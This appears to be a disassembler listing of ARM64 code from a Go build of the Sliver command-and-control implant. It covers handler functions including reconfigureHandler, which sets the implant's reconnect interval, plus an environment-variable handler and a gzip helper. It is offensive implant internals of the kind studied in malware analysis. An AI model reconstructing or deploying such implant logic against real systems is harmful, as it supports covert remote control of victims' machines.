    004fe820bl google.golang.org/protobuf/proto.Unmarshal
    004fe824str x0, [sp+64]
    004fe828str x1, [sp+72]
    004fe82ccbnz x0, 0x4fe834
    004fe830b 0x4fe8f0
    004fe834
    004fe834loc_4fe834:
    004fe834stp xzr, xzr, [sp+96]
    004fe838add x5, sp, 96
    004fe83cstr x5, [sp+240]
    004fe840ldr x5, [sp+64]
    004fe844ldr x6, [sp+72]
    004fe848str x5, [sp+224]
    004fe84cstr x6, [sp+232]
    004fe850str x5, [sp+216]
    004fe854ldr x5, [sp+216]
    004fe858cbnz x5, 0x4fe860
    004fe85cb 0x4fe870
    004fe860
    004fe860loc_4fe860:
    004fe860ldr x5, [sp+216]
    004fe864ldr x5, [x5+8]
    004fe868str x5, [sp+216]
    004fe86cb 0x4fe874
    004fe870
    004fe870loc_4fe870:
    004fe870b 0x4fe874
    004fe874
    004fe874loc_4fe874:
    004fe874ldr x5, [sp+240]
    004fe878ldrsb x27, [x5]
    004fe87cldr x6, [sp+216]
    004fe880ldr x7, [sp+232]
    004fe884str x6, [x5]
    004fe888adrp x27, 0x54d000
    004fe88cldr w6, [x27+3056]
    004fe890cbz w6, 0x4fe898
    004fe894b 0x4fe89c
    004fe898
    004fe898loc_4fe898:
    004fe898b 0x4fe8b0
    004fe89c
    004fe89cloc_4fe89c:
    004fe89cbl runtime.gcWriteBarrier2
    004fe8a0str x7, [x25]
    004fe8a4ldr x6, [x5+8]
    004fe8a8str x6, [x25+8]
    004fe8acb 0x4fe8b0
    004fe8b0
    004fe8b0loc_4fe8b0:
    004fe8b0str x7, [x5+8]
    004fe8b4ldr x2, [sp+240]
    004fe8b8ldrsb x27, [x2]
    004fe8bcb 0x4fe8c0
    004fe8c0
    004fe8c0loc_4fe8c0:
    004fe8c0str x2, [sp+248]
    004fe8c4orr x4, xzr, 1
    004fe8c8str x4, [sp+256]
    004fe8ccstr x4, [sp+264]
    004fe8d0adrp x0, 0x1bc000
    004fe8d4add x0, x0, 3983
    004fe8d8movz x1, 27
    004fe8dcmov x3, x4
    004fe8e0bl log.Printf
    004fe8e4ldp x29, x30, [sp-8]
    004fe8e8add sp, sp, 336
    004fe8ecret x30
    004fe8f0
    004fe8f0loc_4fe8f0:
    004fe8f0ldr x2, [sp+56]
    004fe8f4ldrsb x27, [x2]
    004fe8f8ldr x0, [x2+8]
    004fe8fcldr x1, [x2+16]
    004fe900str x0, [sp+200]
    004fe904str x1, [sp+208]
    004fe908bl os.Unsetenv
    004fe90cstr x0, [sp+64]
    004fe910str x1, [sp+72]
    004fe914adrp x0, 0x166000
    004fe918add x0, x0, 2592
    004fe91cbl runtime.newobject
    004fe920str x0, [sp+192]
    004fe924adrp x27, 0x54d000
    004fe928ldr w2, [x27+3056]
    004fe92ccbz w2, 0x4fe934
    004fe930b 0x4fe938
    004fe934
    004fe934loc_4fe934:
    004fe934b 0x4fe954
    004fe938
    004fe938loc_4fe938:
    004fe938str x0, [sp+168]
    004fe93cmov x1, x0
    004fe940adrp x0, 0x166000
    004fe944add x0, x0, 2592
    004fe948bl runtime.wbZero
    004fe94cldr x0, [sp+168]
    004fe950b 0x4fe954
    004fe954
    004fe954loc_4fe954:
    004fe954stp xzr, xzr, [x0]
    004fe958stp xzr, xzr, [x0+16]
    004fe95cstp xzr, xzr, [x0+32]
    004fe960adrp x0, 0x187000
    004fe964add x0, x0, 3648
    004fe968bl runtime.newobject
    004fe96cstr x0, [sp+184]
    004fe970adrp x27, 0x54d000
    004fe974ldr w1, [x27+3056]
    004fe978cbz w1, 0x4fe980
    004fe97cb 0x4fe984
    004fe980
    004fe980loc_4fe980:
    004fe980b 0x4fe9a0
    004fe984
    004fe984loc_4fe984:
    004fe984str x0, [sp+160]
    004fe988mov x1, x0
    004fe98cadrp x0, 0x187000
    004fe990add x0, x0, 3648
    004fe994bl runtime.wbZero
    004fe998ldr x0, [sp+160]
    004fe99cb 0x4fe9a0
    004fe9a0
    004fe9a0loc_4fe9a0:
    004fe9a0mov x20, x0
    004fe9a4adr x27, 16
    004fe9a8stp x29, x27, [sp-24]
    004fe9acsub x29, sp, 24
    004fe9b0bl fn_87cf8
    004fe9b4sub x29, sp, 8
    004fe9b8ldr x2, [sp+192]
    004fe9bcldrsb x27, [x2]
    004fe9c0ldr x3, [sp+184]
    004fe9c4adrp x27, 0x54d000
    004fe9c8ldr w4, [x27+3056]
    004fe9cccbz w4, 0x4fe9d4
    004fe9d0b 0x4fe9d8
    004fe9d4
    004fe9d4loc_4fe9d4:
    004fe9d4b 0x4fe9ec
    004fe9d8
    004fe9d8loc_4fe9d8:
    004fe9d8bl runtime.gcWriteBarrier2
    004fe9dcstr x3, [x25]
    004fe9e0ldr x4, [x2+8]
    004fe9e4str x4, [x25+8]
    004fe9e8b 0x4fe9ec
    004fe9ec
    004fe9ecloc_4fe9ec:
    004fe9ecstr x3, [x2+8]
    004fe9f0ldr x2, [sp+192]
    004fe9f4str x2, [sp+48]
    004fe9f8ldr x2, [sp+64]
    004fe9fccbnz x2, 0x4fea04
    004fea00b 0x4fea64
    004fea04
    004fea04loc_4fea04:
    004fea04ldr x1, [sp+64]
    004fea08ldrsb x27, [x1]
    004fea0cldr x1, [x1+24]
    004fea10ldr x0, [sp+72]
    004fea14blr x1
    004fea18str x0, [sp+80]
    004fea1cstr x1, [sp+88]
    004fea20ldr x2, [sp+48]
    004fea24ldrsb x27, [x2]
    004fea28ldr x2, [x2+8]
    004fea2cldrsb x27, [x2]
    004fea30str x1, [x2+16]
    004fea34adrp x27, 0x54d000
    004fea38ldr w1, [x27+3056]
    004fea3ccbz w1, 0x4fea44
    004fea40b 0x4fea48
    004fea44
    004fea44loc_4fea44:
    004fea44b 0x4fea5c
    004fea48
    004fea48loc_4fea48:
    004fea48bl runtime.gcWriteBarrier2
    004fea4cstr x0, [x25]
    004fea50ldr x3, [x2+8]
    004fea54str x3, [x25+8]
    004fea58b 0x4fea5c
    004fea5c
    004fea5cloc_4fea5c:
    004fea5cstr x0, [x2+8]
    004fea60b 0x4fea68
    004fea64
    004fea64loc_4fea64:
    004fea64b 0x4fea68
    004fea68
    004fea68loc_4fea68:
    004fea68ldr x2, [sp+48]
    004fea6cstr x2, [sp+320]
    004fea70str xzr, [sp+296]
    004fea74stp xzr, xzr, [sp+304]
    004fea78stp xzr, xzr, [sp+280]
    004fea7cldr x1, [sp+320]
    004fea80adrp x0, 0x216000
    004fea84add x0, x0, 192
    004fea88bl google.golang.org/protobuf/proto.Marshal
    004fea8cstr x0, [sp+296]
    004fea90str x1, [sp+304]
    004fea94str x2, [sp+312]
    004fea98str x3, [sp+280]
    004fea9cstr x4, [sp+288]
    004feaa0ldr x2, [sp+296]
    004feaa4ldr x3, [sp+304]
    004feaa8ldr x4, [sp+312]
    004feaacstr x2, [sp+136]
    004feab0str x3, [sp+144]
    004feab4str x4, [sp+152]
    004feab8ldr x2, [sp+280]
    004feabcldr x3, [sp+288]
    004feac0str x2, [sp+120]
    004feac4str x3, [sp+128]
    004feac8ldr x2, [sp+136]
    004feaccldr x3, [sp+144]
    004fead0ldr x4, [sp+152]
    004fead4str x2, [sp+344]
    004fead8str x3, [sp+352]
    004feadcstr x4, [sp+360]
    004feae0ldr x3, [sp+120]
    004feae4ldr x4, [sp+128]
    004feae8str x3, [sp+64]
    004feaecstr x4, [sp+72]
    004feaf0ldr x0, [sp+344]
    004feaf4ldr x1, [sp+352]
    004feaf8ldr x2, [sp+360]
    004feafcldr x26, [sp+368]
    004feb00ldr x5, [x26]
    004feb04blr x5
    004feb08ldp x29, x30, [sp-8]
    004feb0cadd sp, sp, 336
    004feb10ret x30
    004feb14
    004feb14loc_4feb14:
    004feb14stp x0, x1, [sp+8]
    004feb18stp x2, x3, [sp+24]
    004feb1cmov x3, x30
    004feb20bl runtime.morestack_noctxt.abi0
    004feb24ldp x0, x1, [sp+8]
    004feb28ldp x2, x3, [sp+24]
    004feb2cb 0x4fe780
    004fe780
    004feb30
    004feb30github.com/bishopfox/sliver/implant/sliver/handlers.reconfigureHandler: ; void github.com/bishopfox/sliver/implant/sliver/handlers.reconfigureHandler(struct []uint8 data, github.com/bishopfox/sliver/implant/sliver/handlers.RPCResponse resp)
    004feb30ldr x16, [x28+16]
    004feb34sub x17, sp, 176
    004feb38subs xzr, x17, x16
    004feb3cb.ls 0x4fedd0
    004feb40sub x20, sp, 304
    004feb44stp x29, x30, [x20-8]
    004feb48add sp, x20, 0
    004feb4csub x29, sp, 8
    004feb50str x0, [sp+312]
    004feb54str x1, [sp+320]
    004feb58str x2, [sp+328]
    004feb5cstr x3, [sp+336]
    004feb60adrp x0, 0x186000
    004feb64add x0, x0, 1984
    004feb68bl runtime.newobject
    004feb6cstr x0, [sp+248]
    004feb70adrp x27, 0x54d000
    004feb74ldr w1, [x27+3056]
    004feb78cbz w1, 0x4feb80
    004feb7cb 0x4feb84
    004feb80
    004feb80loc_4feb80:
    004feb80b 0x4feba0
    004feb84
    004feb84loc_4feb84:
    004feb84str x0, [sp+176]
    004feb88mov x1, x0
    004feb8cadrp x0, 0x186000
    004feb90add x0, x0, 1984
    004feb94bl runtime.wbZero
    004feb98ldr x0, [sp+176]
    004feb9cb 0x4feba0
    004feba0
    004feba0loc_4feba0:
    004feba0stp xzr, xzr, [x0]
    004feba4stp xzr, xzr, [x0+16]
    004feba8stp xzr, xzr, [x0+32]
    004febacstp xzr, xzr, [x0+48]
    004febb0str xzr, [x0+64]
    004febb4ldr x4, [sp+248]
    004febb8str x4, [sp+72]
    004febbcstr x4, [sp+120]
    004febc0ldr x0, [sp+312]
    004febc4ldr x1, [sp+320]
    004febc8ldr x2, [sp+328]
    004febccadrp x3, 0x215000
    004febd0add x3, x3, 4064
    004febd4bl google.golang.org/protobuf/proto.Unmarshal
    004febd8str x0, [sp+80]
    004febdcstr x1, [sp+88]
    004febe0cbnz x0, 0x4febe8
    004febe4b 0x4feca4
    004febe8
    004febe8loc_4febe8:
    004febe8stp xzr, xzr, [sp+104]
    004febecadd x5, sp, 104
    004febf0str x5, [sp+216]
    004febf4ldr x5, [sp+80]
    004febf8ldr x6, [sp+88]
    004febfcstr x5, [sp+200]
    004fec00str x6, [sp+208]
    004fec04str x5, [sp+192]
    004fec08ldr x5, [sp+192]
    004fec0ccbnz x5, 0x4fec14
    004fec10b 0x4fec24
    004fec14
    004fec14loc_4fec14:
    004fec14ldr x5, [sp+192]
    004fec18ldr x5, [x5+8]
    004fec1cstr x5, [sp+192]
    004fec20b 0x4fec28
    004fec24
    004fec24loc_4fec24:
    004fec24b 0x4fec28
    004fec28
    004fec28loc_4fec28:
    004fec28ldr x5, [sp+216]
    004fec2cldrsb x27, [x5]
    004fec30ldr x6, [sp+208]
    004fec34ldr x7, [sp+192]
    004fec38str x7, [x5]
    004fec3cadrp x27, 0x54d000
    004fec40ldr w7, [x27+3056]
    004fec44cbz w7, 0x4fec4c
    004fec48b 0x4fec50
    004fec4c
    004fec4cloc_4fec4c:
    004fec4cb 0x4fec64
    004fec50
    004fec50loc_4fec50:
    004fec50bl runtime.gcWriteBarrier2
    004fec54str x6, [x25]
    004fec58ldr x7, [x5+8]
    004fec5cstr x7, [x25+8]
    004fec60b 0x4fec64
    004fec64
    004fec64loc_4fec64:
    004fec64str x6, [x5+8]
    004fec68ldr x2, [sp+216]
    004fec6cldrsb x27, [x2]
    004fec70b 0x4fec74
    004fec74
    004fec74loc_4fec74:
    004fec74str x2, [sp+224]
    004fec78orr x4, xzr, 1
    004fec7cstr x4, [sp+232]
    004fec80str x4, [sp+240]
    004fec84adrp x0, 0x1bc000
    004fec88add x0, x0, 3983
    004fec8cmovz x1, 27
    004fec90mov x3, x4
    004fec94bl log.Printf
    004fec98ldp x29, x30, [sp-8]
    004fec9cadd sp, sp, 304
    004feca0ret x30
    004feca4
    004feca4loc_4feca4:
    004feca4ldr x1, [sp+72]
    004feca8ldrsb x27, [x1]
    004fecacldr x1, [x1+8]
    004fecb0cbnz x1, 0x4fecb8
    004fecb4b 0x4fecd0
    004fecb8
    004fecb8loc_4fecb8:
    004fecb8ldr x1, [sp+72]
    004fecbcldrsb x27, [x1]
    004fecc0ldr x0, [x1+8]
    004fecc4str x0, [sp+56]
    004fecc8bl github.com/bishopfox/sliver/implant/sliver/transports.SetReconnectInterval
    004fecccb 0x4fecd4
    004fecd0
    004fecd0loc_4fecd0:
    004fecd0b 0x4fecd4
    004fecd4
    004fecd4loc_4fecd4:
    004fecd4adrp x0, 0x165000
    004fecd8add x0, x0, 3424
    004fecdcbl runtime.newobject
    004fece0str x0, [sp+184]
    004fece4adrp x27, 0x54d000
    004fece8ldr w1, [x27+3056]
    004fececcbz w1, 0x4fecf4
    004fecf0b 0x4fecf8
    004fecf4
    004fecf4loc_4fecf4:
    004fecf4b 0x4fed14
    004fecf8
    004fecf8loc_4fecf8:
    004fecf8str x0, [sp+168]
    004fecfcmov x1, x0
    004fed00adrp x0, 0x165000
    004fed04add x0, x0, 3424
    004fed08bl runtime.wbZero
    004fed0cldr x0, [sp+168]
    004fed10b 0x4fed14
    004fed14
    004fed14loc_4fed14:
    004fed14stp xzr, xzr, [x0]
    004fed18stp xzr, xzr, [x0+16]
    004fed1cstp xzr, xzr, [x0+32]
    004fed20ldr x2, [sp+184]
    004fed24str x2, [sp+64]
    004fed28str x2, [sp+96]
    004fed2cstp xzr, xzr, [sp+272]
    004fed30str xzr, [sp+288]
    004fed34stp xzr, xzr, [sp+256]
    004fed38ldr x1, [sp+96]
    004fed3cadrp x0, 0x216000
    004fed40add x0, x0, 0
    004fed44bl google.golang.org/protobuf/proto.Marshal
    004fed48str x0, [sp+272]
    004fed4cstr x1, [sp+280]
    004fed50str x2, [sp+288]
    004fed54str x3, [sp+256]
    004fed58str x4, [sp+264]
    004fed5cldr x2, [sp+272]
    004fed60ldr x3, [sp+280]
    004fed64ldr x4, [sp+288]
    004fed68str x2, [sp+144]
    004fed6cstr x3, [sp+152]
    004fed70str x4, [sp+160]
    004fed74ldr x2, [sp+256]
    004fed78ldr x3, [sp+264]
    004fed7cstr x2, [sp+128]
    004fed80str x3, [sp+136]
    004fed84ldr x2, [sp+144]
    004fed88ldr x3, [sp+152]
    004fed8cldr x4, [sp+160]
    004fed90str x2, [sp+312]
    004fed94str x3, [sp+320]
    004fed98str x4, [sp+328]
    004fed9cldr x3, [sp+128]
    004feda0ldr x4, [sp+136]
    004feda4str x3, [sp+80]
    004feda8str x4, [sp+88]
    004fedacldr x0, [sp+312]
    004fedb0ldr x1, [sp+320]
    004fedb4ldr x2, [sp+328]
    004fedb8ldr x26, [sp+336]
    004fedbcldr x5, [x26]
    004fedc0blr x5
    004fedc4ldp x29, x30, [sp-8]
    004fedc8add sp, sp, 304
    004fedccret x30
    004fedd0
    004fedd0loc_4fedd0:
    004fedd0stp x0, x1, [sp+8]
    004fedd4stp x2, x3, [sp+24]
    004fedd8mov x3, x30
    004feddcbl runtime.morestack_noctxt.abi0
    004fede0ldp x0, x1, [sp+8]
    004fede4ldp x2, x3, [sp+24]
    004fede8b 0x4feb30
    004fedecudf 0
    004feb30
    004fedf0
    004fedf0github.com/bishopfox/sliver/implant/sliver/handlers.gzipWrite: ; void github.com/bishopfox/sliver/implant/sliver/handlers.gzipWrite(io.Writer w, struct []uint8 data)
    004fedf0ldr x16, [x28+16]
    004fedf4sub x17, sp, 96
    004fedf8subs xzr, x17, x16
    004fedfcb.ls 0x4fef64
    004fee00str x30, [sp-224]!
    004fee04stur x29, [sp-8]
    004fee08sub x29, sp, 8
    004fee0cstr x0, [sp+232]
    004fee10str x1, [sp+240]
    004fee14str x2, [sp+248]
    004fee18str x3, [sp+256]
    004fee1cstr x4, [sp+264]
    004fee20stp xzr, xzr, [sp+96]
    004fee24str xzr, [sp+152]
    004fee28stp xzr, xzr, [sp+136]
    004fee2cldr x0, [sp+232]
    004fee30ldr x1, [sp+240]
    004fee34orr x2, xzr, 1
    004fee38bl compress/gzip.NewWriterLevel
    004fee3cstr x0, [sp+152]
    004fee40str x1, [sp+136]
    004fee44str x2, [sp+144]
    004fee48ldr x3, [sp+152]
    004fee4cstr x3, [sp+184]
    004fee50ldr x3, [sp+144]
    004fee54ldr x4, [sp+136]
    004fee58str x4, [sp+168]
    004fee5cstr x3, [sp+176]
    004fee60ldr x3, [sp+184]
    004fee64str x3, [sp+112]
    004fee68ldr x3, [sp+176]
    004fee6cldr x4, [sp+168]
    004fee70str x4, [sp+120]
    004fee74str x3, [sp+128]
    004fee78cbnz x4, 0x4fee80
    004fee7cb 0x4feea0
    004fee80
    004fee80loc_4fee80:
    004fee80str x4, [sp+96]
    004fee84str x3, [sp+104]
    004fee88bl runtime.deferreturn
    004fee8cldr x0, [sp+96]
    004fee90ldr x1, [sp+104]
    004fee94ldur x29, [sp-8]
    004fee98ldr x30, [sp], 224
    004fee9cret x30
    004feea0
    004feea0loc_4feea0:
    004feea0ldr x1, [sp+112]
    004feea4str x1, [sp+160]
    004feea8stp xzr, xzr, [sp+192]
    004feeacadd x1, sp, 192
    004feeb0str x1, [sp+208]
    004feeb4ldrsb x27, [x1]
    004feeb8adrp x2, 0
    004feebcadd x2, x2, 3984
    004feec0str x2, [x1]
    004feec4ldrsb x27, [x1]
    004feec8ldr x2, [sp+160]
    004feeccadrp x27, 0x54d000
    004feed0ldr w3, [x27+3056]
    004feed4cbz w3, 0x4feedc
    004feed8b 0x4feee0
    004feedc
    004feedcloc_4feedc:
    004feedcb 0x4feef4
    004feee0
    004feee0loc_4feee0:
    004feee0bl runtime.gcWriteBarrier2
    004feee4str x2, [x25]
    004feee8ldr x3, [x1+8]
    004feeecstr x3, [x25+8]
    004feef0b 0x4feef4
    004feef4
    004feef4loc_4feef4:
    004feef4str x2, [x1+8]
    004feef8str x1, [sp+72]
    004feefcadd x0, sp, 48
    004fef00bl runtime.deferprocStack
    004fef04subs xzr, x0, 0
    004fef08b.ne 0x4fef4c
    004fef0cb 0x4fef10
    004fef10
    004fef10loc_4fef10:
    004fef10ldr x1, [sp+248]
    004fef14ldr x2, [sp+256]
    004fef18ldr x3, [sp+264]
    004fef1cldr x0, [sp+112]
    004fef20bl compress/gzip.(*Writer).Write
    004fef24ldr x4, [sp+120]
    004fef28ldr x5, [sp+128]
    004fef2cstr x4, [sp+96]
    004fef30str x5, [sp+104]
    004fef34bl runtime.deferreturn
    004fef38ldr x0, [sp+96]
    004fef3cldr x1, [sp+104]
    004fef40ldur x29, [sp-8]
    004fef44ldr x30, [sp], 224
    004fef48ret x30
    004fef4c
    004fef4cloc_4fef4c:
    004fef4cbl runtime.deferreturn
    004fef50ldr x0, [sp+96]
    004fef54ldr x1, [sp+104]
    004fef58ldur x29, [sp-8]
    004fef5cldr x30, [sp], 224
    004fef60ret x30
    004fef64
    004fef64loc_4fef64:
    004fef64stp x0, x1, [sp+8]
    004fef68stp x2, x3, [sp+24]
    004fef6cstr x4, [sp+40]
    004fef70mov x3, x30
    004fef74bl runtime.morestack_noctxt.abi0
    004fef78ldp x0, x1, [sp+8]
    004fef7cldp x2, x3, [sp+24]
    004fef80ldr x4, [sp+40]
    004fef84b 0x4fedf0
    004fef88udf 0
    004fef8cudf 0
    004fedf0